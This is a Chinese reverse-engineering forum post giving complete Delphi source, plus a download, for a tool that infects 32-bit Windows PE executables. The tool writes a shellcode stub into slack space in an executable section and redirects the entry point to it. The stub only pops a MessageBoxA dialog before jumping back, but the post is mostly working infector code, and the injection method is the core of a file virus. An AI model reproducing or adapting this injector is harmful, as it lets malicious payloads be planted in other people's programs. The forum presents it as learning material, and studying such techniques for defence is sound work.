吾爱汇编

 找回密码
 立即注册

QQ登录

绑定QQ避免忘记帐号

查看: 2049|回复: 0

[Delphi] 给PE文件插入X码

[复制链接]
李沉舟 发表于 2017-5-30 16:15 | 显示全部楼层 |阅读模式

本代码只是寻找所有带有可执行区块,并判断是否有空余,可否插入X码。
且不涉及到输入表添加、区块添加等内容。
本人菜鸡一只,学艺不精,如有错误,还望斧正。
1.读取EntryPoint和ImageBase两个字段,这两个字段相加得到入口点的VA地址(这个入口点执行完X码跳转回去要用到)
2.循环遍历所有带有包含代码以及可执行属性的区块,再判断是否有多余空间放入X码,有则放入
3.修正插入X码后的区段属性字段
4.修改EntryPoint字段指向我们X码的RVA地址
5.感染成功的前提就是,程序输入表里面有user32.dll,否则调用MessageBoxA这个API的时候会失败

我构造的X码如下:
    pushad
    push 0
    push 0
    push 0
    push 0
    mov eax,MessageBoxA
    call eax
    popad
    push EntryPoint
    ret
MessageBoxA是感染的时候直接获取到的,不涉及到输入表,所以被感染文件换了个系统就GG了。
我没有用立即数寻址的jmp和call,是因为RVA和Offset的转换实在是不想写,人懒。

下面上代码。
[Delphi] 纯文本查看 复制代码
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
var
  bCode: array[0..22] of Byte = (96, 106, 0, 106, 0, 106, 0, 106, 0, 184, 0, 0,
    0, 0, 255, 208, 97, 104, 120, 86, 52, 18, 195);

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Edit1.Text := OpenDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  outFile: file;
  iNtPoint: Integer; //NT头开始偏移
  wCount: Word; //区块数目
  wSize: Word;
  iStart: Integer; //区块表开始偏移
  i: Integer;

  pOffset: Integer; //区块在文件中的偏移
  iFlags: Cardinal; //区块的属性
  iVSize: Integer; //区块在文件中实际使用的大小
  iRSize: Integer; //区块在文件中对齐后的大小
  pRVA: Integer; //区块在内存中的偏移
  
  iEntry, iBase, dwEntryPoint: Cardinal;
begin
  if not FileExists(Edit1.Text) then
  begin
    ShowMessage('请输入一个合法的文件路径!');
    Exit;
  end;
  //校验文件是否存在
  AssignFile(outFile, Edit1.Text);
  Reset(outFile, 1); //以二进制方式读写文件
  Seek(outFile, $3C);
  BlockRead(outFile, iNtPoint, 4);
  //读取NT头
  Seek(outFile, iNtPoint + $6);
  BlockRead(outFile, wCount, 2);
  //读取区块数目
  Seek(outFile, iNtPoint + $14);
  BlockRead(outFile, wSize, 2);
  Seek(outFile, iNtPoint + $28);
  BlockRead(outFile, iEntry, 4);
  Seek(outFile, iNtPoint + $34);
  BlockRead(outFile, iBase, 4);
  dwEntryPoint := iEntry + iBase;
  CopyMemory(@bCode[18], @dwEntryPoint, 4);
  iStart := wSize + $18 + iNtPoint;
  {
    我们构造这么一段代码
    pushad
    push 0
    push 0
    push 0
    push 0
    mov eax,MessageBoxA
    call eax
    popad
    push EntryPoint
    ret
  }
  for i := 0 to wCount - 1 do
  begin
    Seek(outFile, iStart + 40 * i + 36);
    BlockRead(outFile, iFlags, 4);
    //读取区段的属性
    if (iFlags and $20000020) = $20000020 then //测试区段是否包含代码且可执行
    begin
      Seek(outFile, iStart + 40 * i + 12);
      BlockRead(outFile, pRVA, 4); //读取区块在内存中的RVA地址
      Seek(outFile, iStart + 40 * i + 16);
      BlockRead(outFile, iRSize, 4); //读取在文件对齐后的尺寸
      Seek(outFile, iStart + 40 * i + 20);
      BlockRead(outFile, pOffset, 4); //读取在文件中的偏移
      Seek(outFile, iStart + 40 * i + 8);
      BlockRead(outFile, iVSize, 4); //读取实际使用的尺寸
      if iRSize - iVSize >= 17 then //如果区块可用的数据长度大于我们的X码
      begin
        Seek(outFile, pOffset + iVSize);
        BlockWrite(outFile, bCode, 23);
        Seek(outFile, iNtPoint + $28);
        iBase := pRVA + iVSize;
        BlockWrite(outFile, iBase, 4);
        //修改入口点
        Seek(outFile, iStart + 40 * i + 8);
        iBase := iVSize + 23;
        BlockWrite(outFile, iBase, 4);
        CloseFile(outFile);
        ShowMessage('成功感染文件!');
        Exit;
      end;
    end;
  end;
  CloseFile(outFile);
  ShowMessage('感染失败!可能是文件设置了只读或者没有足够的空间!');
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dwMessageBox: Cardinal;
begin
  dwMessageBox := Cardinal(GetProcAddress(GetModuleHandle('user32.dll'),
    'MessageBoxA'));
  CopyMemory(@bCode[10], @dwMessageBox, 4);
end;

end.


1.png

编译后,随便找个EXE文件试试看。感染成功后打开看看是不是有个提示框?

源码下载(Delphi7): 感染32位PE.rar (7.58 KB, 下载次数: 8)



评分

参与人数 4HB +4 THX +1 收起 理由
禽大师 + 1
消逝的过去 + 1
agan8888 + 1
zxjzzh + 2 [吾爱汇编论坛52HB.COM]-学破解防破解,知进攻懂防守!

查看全部评分

吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

警告:本站严惩灌水回复,尊重自己从尊重他人开始!

免责声明

吾爱汇编(www.52hb.com)所讨论的技术及相关工具仅限用于研究学习,皆在提高软件产品的安全性,严禁用于不良动机。任何个人、团体、组织不得将其用于非法目的,否则,一切后果自行承担。吾爱汇编不承担任何因为技术滥用所产生的连带责任。吾爱汇编内容源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除。如有侵权请邮件或微信与我们联系处理。

站长邮箱:SharkHeng@sina.com
站长QQ:1140549900


QQ|RSS|手机版|小黑屋|帮助|吾爱汇编 ( 京公网安备11011502005403号 , 京ICP备20003498号-6 )|网站地图

Powered by Discuz!

吾爱汇编 www.52hb.com

快速回复 返回顶部 返回列表